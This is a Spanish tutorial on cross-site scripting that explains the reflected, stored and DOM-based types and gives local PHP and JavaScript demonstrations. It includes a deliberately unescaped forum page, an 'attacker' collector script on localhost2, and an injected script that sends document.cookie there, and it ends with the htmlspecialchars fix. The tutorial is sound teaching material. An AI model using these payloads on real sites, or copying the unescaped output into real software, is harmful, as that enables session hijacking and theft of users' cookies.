Qué es XSS (Cross-Site Scripting)

Las siglas XSS se corresponden con el término Cross-Site Scripting, donde se usa la X para no confundirlas con las de CSS (Cascade Style Sheet, Hojas de Estilo en Cascada). La traducción de Cross-Site Scripting podría ser como Ejecución de Código entre Sitios o algo similar. Se puede definir como una amenaza de seguridad que se basa en explotar vulnerabilidades del HTML ubicado en un sitio para inyectar HTML no deseado.

Utilizo la expresión inyectar HTML porque parece que el XSS tiene un denominador común: la construcción dinámica de HTML. Una página web puede ser estática o dinámica. La primera suele ser un archivo con la extensión .html, se escribe una vez y no se modifica habitualmente. En contra las páginas dinámicas varían su contenido cada vez que se visualizan en función de datos que provienen de su exterior, modificaciones que se llevan a cabo usando scripts en el servidor o incluso en el cliente. Esos datos pueden venir del exterior del sitio, a través de formularios por vía POST o GET (portándolos en la URL como parámetros). Si alguno de esos datos es un literal HTML, por ejemplo <script>alert('xss')</script>, cuando este trozo de texto se haga salir a la página se ejecutará el script en el navegador del usuario. Se suele hacer una clasificación de los tipos de XSS en base a como se construyen dinámicamente los elementos inyectados,

  • No persistente o reflejada: Un usuario envía datos a un sitio a través de un formulario, por ejemplo. El servidor recibe esos datos y genera una página dinámica con un script de servidor usando esos datos. Si los datos contienen algún literal HTML, el script del servidor los inyectará en la página que le devuelve al mismo usuario. Podría parecer que no es un problema que un atacante envíe datos con código para que el servidor le devuelva un HTML inyectado en su propio navegador. Pero usando engaños, un atacante podría llevar a un usuario a través de un vínculo que porta parámetros con HTML inyectado.
  • Persistente o almacenada: En este caso el atacante envía datos con inyección HTML al servidor usando formularios que almacenan los valores recibidos en bases de datos o archivos de texto, por ejemplo. Cuando otros usuarios soliciten consultas a esos datos almacenados y el script del servidor construya la página dinámica, esas inyecciones HTML se ejecutarán. Es evidentemente más peligroso porque afectará a un número mayor de usuarios y durante más tiempo hasta que se arregle el problema.
  • Basada en el DOM o XSS local: En este caso son los scripts del cliente, el JavaScript por ejemplo en el navegador del usuario, el que construye elementos dinámicamente insertándolos en el DOM de la página. Recordemos que el DOM (Document Object Model, Modelo de Objetos del Documento) es un árbol de nodos que construye el navegador del usuario en memoria para estructurar todos los elementos de una página. Con Javascript podemos acceder a ese árbol para insertar un elemento, por ejemplo con
    body.innerHTML += "<script>alert('xss')</script>"
    podemos inyectar un elemento <script> adjuntándolo al resto de elementos del cuerpo de la página. Su código se ejecutará cuando la página se visualice en el navegador del usuario.

Volviendo sobre la terminología empleada, el XSS (Cross-Site Scripting, ejecución de código entre sitios) parece querer reflejar que se trata de una ejecución de código script, principalmente Javascript o Vbscript, que se introduce mediante elementos como <script>. Pero también es posible usar las vulnerabilidades HTML para incrustar otras cosas que parecerían incapaces de producir ejecuciones de script. Por ejemplo, podríamos tener un elemento imagen <img> original de la página, de tal forma que el atacante acompañaría un evento onload quedando el elemento inyectado como sigue, donde el texto resaltado sería la modificación del atacante:

<img src="imagenes/imagen.gif" onload="javascript:alert('xss');" />

Así cuando la página cargue esta imagen se desencadena el evento accionándose el script. Esto es un simple ejemplo, pero aprovechando la ejecución de scripts en los eventos de los elementos HTML, puede haber un montón de formas de hacer ejecutar un script. Digo esto porque veremos que normalmente se pretenden filtrar entradas de datos que contengan los símbolos <, >, pero en un caso hipotético como el anterior el atacante haría uso de las comillas ("") para inyectar atributos.

Cómo funciona XSS

Siguiendo la línea de este sitio que es intentar poner en ejecución todos los conceptos que voy aprendiendo, lo mismo quiero hacer con estos temas. Probar un ejemplo de ejecución de una amenaza sobre una vulnerabilidad de un sitio web para ver como funciona creo que es una buena forma de empezar a entender como evitarlo. Pero debe recordar que no soy un experto en seguridad, por lo que estos "experimentos" se limitan a ser sólo eso, simples pruebas de funcionamiento del aprovechamiento de una vulnerabilidad en un sitio web. Y por supuesto, estos "experimentos" los realizo en mi servidor local montado para aprender, o bien usaré símiles que tratarán de simular la ejecución de la amenaza sobre la vulnerabilidad, como se expone en los ejemplos de este apartado.

En cuestiones de seguridad se usa una terminología a veces bastante confusa para los que no somos expertos, pero que conviene ir aprendiéndola para diferenciar bien los términos:
  • Sistema de Información: Conjunto de recursos de software y hardware así como contenidos de información necesarios para llevar a cabo los objetivos propuestos. Nuestro sitio web sería nuestro Sistema de Información.
  • Amenaza: Un evento que puede originar un daño en un Sistema de Información. Por ejemplo, la posible ejecución de XSS llevada a cabo por un atacante sería una amenaza.
  • Vulnerabilidad: Una debilidad en un Sistema de Información que podría permitir a una amenza causar daño. Por ejemplo, no filtrar los datos de entrada de un formulario para que estén libres de caracteres no deseados.
  • Riesgo: La probabilidad de que una amenaza se materialice sobre una vulnerabilidad causando un daño. Siguiendo el ejemplo, el riesgo de XSS sobre datos de formularios sería muy alto si nuestro sitio manejara gran cantidad de este tipo de entradas.

En este apartado me propongo usar unos sencillos ejemplos para ver como puede actuar XSS. Es necesario saber que los datos recibidos desde un formulario se pasan a los arrays $_GET o $_POST tal como vienen, sin ningún tratamiento ni control. Con este formulario con un único campo:

<form action="script.php" method="get">
    Campo: <input type="text" name="campo" value="" />   
    <input type="submit" value="enviar" />
</form>    
    

Al poner algo en el cuadro de texto y pulsar el botón para enviar, el servidor llama al documento script.php de tal forma que PHP compone una página de salida como esta:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="es" xml:lang="es">
<head>
    <title>Respuesta</title>
</head>
<body>
    <h3>RESPUESTA DESDE EL SERVIDOR AL USUARIO CON PHP</h3>
    <p>El usuario nos ha enviado el siguiente campo:
        <?php echo $_GET["campo"]; ?>
    </p>
</body>
</html>    
    

No vamos a explicar aquí como se construye un documento PHP. Sólo decimos que la parte en azul es el código HTML mientras que la marrón es el verdadero código PHP. Se observa que devolvemos al usuario el valor del campo introducido que está en $_GET["campo"]. Supongamos que un usuario tome este literal HTML <script">alert("hola")</script> y nos lo envíe en ese formulario. Cuando ese literal se escriba en el documento con la orden echo, nos saldrá ese mensaje de JavaScript.

No es conveniente poner el ejemplo para que se ejecute en PHP. Para ver el efecto haremos una simulación con JavaScript. El comando echo de PHP realiza una incrustación de texto en el documento, lo mismo que hace document.write() en JavaScript. El siguiente ejemplo parte de un formulario que no se envía a ningún sitio:

<form>
    Campo: <input type="text"
    value="&lt;script&gt;alert('hola')&lt;/script&gt;" 
    size="35" /><br />      
    <input type="button" value="falso enviar"
    onclick="simulaPHP1(this)"  />
</form>
    

Ejemplo:

Campo:

Su botón que dice "enviar" realmente no es del tipo submit sino button, pero llamará a una función JavaScript denominada simulaPHP1 que contiene lo siguiente:

var mensaje = "Esta acción de JavaScript simula..."

var docA = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n" + 
"\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n" +
"<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"es\" xml:lang=\"es\">\n" +
"<head>\n" +
"    <title>Respuesta</title>\n" +
"</head>\n" +
"<body>\n" +
"    <h3>(FALSA) RESPUESTA DESDE EL SERVIDOR AL USUARIO CON PHP</h3>\n" +
"    <p>El usuario nos ha enviado el siguiente campo:\n";

var docB = "    </p>\n" +
"</body>\n" +
"</html>";

function simulaPHP1(este){
    var nuevoDoc = docA + este.form[0].value +
    "<br />simula una inyección HTML dentro de un " +
    "elemento párrafo." + docB;
    if (confirm(mensaje)) document.write(nuevoDoc);
}

Se trata de componer una página de salida, insertando lo puesto en el control del formulario con document.write. Inyectando <script>alert('hola')</script> resultará que cuando la página se esté cargando y llegue a ese script, aparecerá un mensaje con "hola". De forma equivalente sucede con PHP cuando usamos algún método para escribir en una página como con echo. El riesgo es evidente si pensamos en todo lo que se podría hacer con scripts.

Podría pensarse que podríamos devolver el valor recibido dentro de otro cuadro de texto, pues ahí no cabe HTML sino sólo texto plano. Veámos el siguiente ejemplo con un formulario igual que el anterior

Ejemplo:

Campo:
<form>
    Campo: <input type="text"
    value="' onclick='alert(&quot;hola&quot;)" size="35" />      
    <input type="button" value="falso enviar"
    onclick="simulaPHP2(this)"  />
</form>
    

pero que ahora llama a simulaPHP2():

function simulaPHP2(este){
    var nuevoDoc = docA + "<input type='text' size='100' value='" +
    este.form[0].value + "' /><br />simula una inyección HTML " +
    "dentro del atributo value de un cuadro de texto." + docB;
    if (confirm(mensaje)) document.write(nuevoDoc);
}

El riesgo ahora es que estamos inyectando un atributo al elemento <input> de salida, un inofensivo mensaje de "hola" que se activará al hacer click en ese cuadro de texto. Observe el valor enviado ' onclick='alert(&quot;hola&quot;). Por un lado las referencias de caracteres a las dobles comillas en el interior del paréntesis para ajustarlas con las comillas simples externas. Pero lo importantes es la comilla simple al principio y sin cerrar la última comilla del script. Esto se debe a la forma en que se suelen construir los literales HTML para componer la página de salida:

"<input type='text' size='100' value='" +
este.form[0].value + "' />"

Con la pimera comilla cerramos el value y luego la comilla final de ese value nos sirve para cerrar el valor del atributo que estamos pasando. Finalmente la página compuesta queda así, donde se muestra en amarillo el texto inyectado.

...
<p>El usuario nos ha enviado el siguiente campo:
<input type='text' size='100' 
value='' onclick='alert("hola")' />
...

Estos dos ejemplos son demostrativos del riesgo que se asume cuando no se controlan los datos recibidos. Aunque no las conozca, seguro que existen muchas más formas de atacar las vulnerabilidades de un sitio web en relación a los datos recibidos con formularios. En parte debido a que depende del proceso posterior. Por ejemplo, si tomamos los datos y los enviamos por e-mail usando funciones de PHP como mail() o si se introducen en una base de datos.

XSS para robar cookies

Un ataque XSS tiene más posibilidades de llevarse a cabo si obtiene algún beneficio. Por supuesto que no se van a limitar a presentar un simple mensaje de alerta. Uno de los propósitos podría ser el intento de secuestrar una sesión, robando el identificador de sesión de una cookie de un usuario, tal como explicamos en el tema VI de Sesiones en PHP, en que habla sobre asegurar sesiones ante el secuestro de sesión. Con JavaScript activado le será muy fácil a un atacante leer las cookies del navegador del usuario con document.cookie.

Como ya he señalado, una buena forma de comprender las amenazas sobre vulnerabilidades es realizando un simulacro de ataque. En este apartado trataré de realizar una ejecución de XSS para robar las cookies de sesión, pero lo haré en mi servidor montado con Apache+PHP para el aprendizaje. Por lo tanto este ejemplo no podrá verlo en línea, pero tiene unas capturas de pantalla con una ejecución de este ejemplo en mi servidor local, donde también encontrará los códigos completos de las páginas.

En este servidor local he creado dos dominios. Por un lado localhost1 que suponemos que será el sitio "bueno" donde el usuario está navegando. Por otro lado tenemos el sitio localhots2 que será el del atacante. Puede ver más detalles sobre la creación de varios dominios locales para aprender en el tema de sesiones PHP, apartado que habla sobre el alojamiento compartido en Apache Server. En localhost1 (el sitio "bueno") tenemos una página web (pagina1.php) con algo de PHP. Hay un inicio de sesión para el único objeto de guardar una cookie de sesión en el navegador del usuario y después poder realizar el "robado". Luego el PHP de esta página lee un archivo foro.txt donde almacena entradas de mensaje de un hipotético foro. Como es una página de reentrada de formulario, mira si hay un GET con un mensaje para el foro, en cuyo caso lo añade al archivo foro.txt. Luego presenta los mensajes del foro y un formulario para que el usuario envíe un nuevo mensaje si lo desea:

<?php
    session_start();
    $ruta_carpeta = dirname(__FILE__)."/";
    $ruta_archivo = $ruta_carpeta."foro.txt";
    $tamanyo = filesize($ruta_archivo);
    $mensajes_foro = "";
    if ($tamanyo > 0) {
        $fichero = fopen($ruta_archivo, "r");
        $mensajes_foro = fread($fichero, $tamanyo);
        fclose($fichero);
    }
    if (isset($_POST["mensaje"])){
        $fichero = fopen($ruta_archivo, "a");
        $cadena = "<p>".$_POST["mensaje"]."</p>";
        fwrite($fichero, $cadena);
        fclose($fichero);
        $mensajes_foro .= $cadena;
    }
?>
<html>
<body>
    <h1>FORO del sitio localhost1 (pagina1.php)</h1>
    <h3>Mensajes</h3>
    <?php echo $mensajes_foro; ?>
    <form action="<?php $_SERVER["PHP_SELF"]; ?>" method="post">
        <textarea cols="50" rows="10" name="mensaje"></textarea><br />
        <input type="submit" value="enviar" />
        <input type="reset" value="borrar" />
    </form>
</body>
</html>

El atacante por otro lado tiene una página PHP en su sitio localhost2, página con el nombre cookies.php que contiene sólo código PHP:

<?php
if (isset($_GET["cookies-robadas"])) {
    $ruta_carpeta = dirname(__FILE__)."/";
    $ruta_archivo = $ruta_carpeta."cookies.txt";
    $fichero = fopen($ruta_archivo, "a");
    $cadena  = "Cookie: ".$_GET["cookies-robadas"].
        " Navegador: ".$_GET["navegador"]."<br />\r\n";
    fwrite($fichero, $cadena);
    fclose($fichero);
}
header("Location: http://localhost1/pagina1.php");
exit;
?>

El atacante tiene un archivo de texto que se llama cookies.txt donde va a guardar las cookies robadas. Intentará enviar las cookies desde el navegador del usuario a través de un parámetro URL llamado cookies-robadas, por lo que consultará si hay algo en el GET. Si es así lo graba en el archivo. Luego vuelve a rederigir al usuario a la página del foro del "sitio bueno".

¿Cómo consigue el atacante enviar el parámetro URL con la cookie?. Pues por ejemplo, enviando este mensaje al foro:

<script>window.onunload = function(){
document.location = "http://localhost2/cookies.php?cookies-robadas=" + 
document.cookie + "&navegador=" + navigator.userAgent;}</script>

Cuando un usuario en el "sitio bueno" pulse el botón para enviar su mensaje, entonces éste llegará al localhost1 y se guardará con el resto de mensajes del foro. Al reenviar localhost1 la página otra vez al usuario con su mensaje actualizado en el foro, se produce un evento window.onunload de la ventana, lo que pone en ejecución el script inyectado. Este script hace una redirección a localhost2 portando como parámetro URL todas las cookies del navegador del usuario que tengan almacenadas del "sitio bueno" localhost1 donde está navegando. Luego ya en localhost2 sólo resta grabar esas cookies y redirigir a localhost1 sin que quizás el usuario note este proceso.

Se hubiese evitado simplemente cambiando la línea resaltada en amarillo en el código de la página del foro

$cadena = "<p>".$_POST["mensaje"]."</p>";

por esta otra donde se filtran los caracteres no deseados

$cadena = "<p>".htmlspecialchars($_POST["mensaje"])."</p>";

Este ejemplo no pretender ser un modelo de XSS ni mucho menos. Probablemente no funcionaría en un caso real, pero el único propósito de realizar el simulacro es adquirir la certeza de que es absolutamente necesario filtrar todos los datos que provienen del exterior.